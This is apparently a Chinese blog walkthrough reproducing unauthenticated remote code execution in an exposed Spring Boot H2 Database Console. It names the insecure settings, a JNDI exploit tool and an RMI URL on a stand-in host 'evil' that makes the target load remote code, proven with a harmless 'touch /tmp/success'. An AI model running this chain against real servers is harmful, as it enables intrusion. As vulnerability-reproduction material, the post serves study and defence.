H2 Database Console未授权访问

原因

H2 数据库是 Java 中的嵌入式内存数据库。带有 h2 数据库的 Springboot 带有一个 web 管理页面,如果您设置以下选项,则该页面没有身份验证:

spring.h2.console.enabled=true 
spring.h2.console.settings.web-allow-others=true

该管理页面支持使用JNDI加载JDBC驱动,可以通过远程类加载实现远程代码执行。

spring-boot正在监听http://your-ip:8080,默认管理页面http://your-ip:8080/h2-console/。

复现

使用此工具JNDI即可利用该漏洞。首先,将目标命令设置为touch /tmp/successat config.properties:

然后启动JNDI-1.0-all.jar,就是会听的0.0.0.0:23456。根据这些信息填写表格:

javax.naming.InitialContext是 JNDI 工厂类名,URLrmi://evil:23456/BypassByEL是你的 RMI 地址。

RMI 服务器收到请求:

touch /tmp/success已成功执行:

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值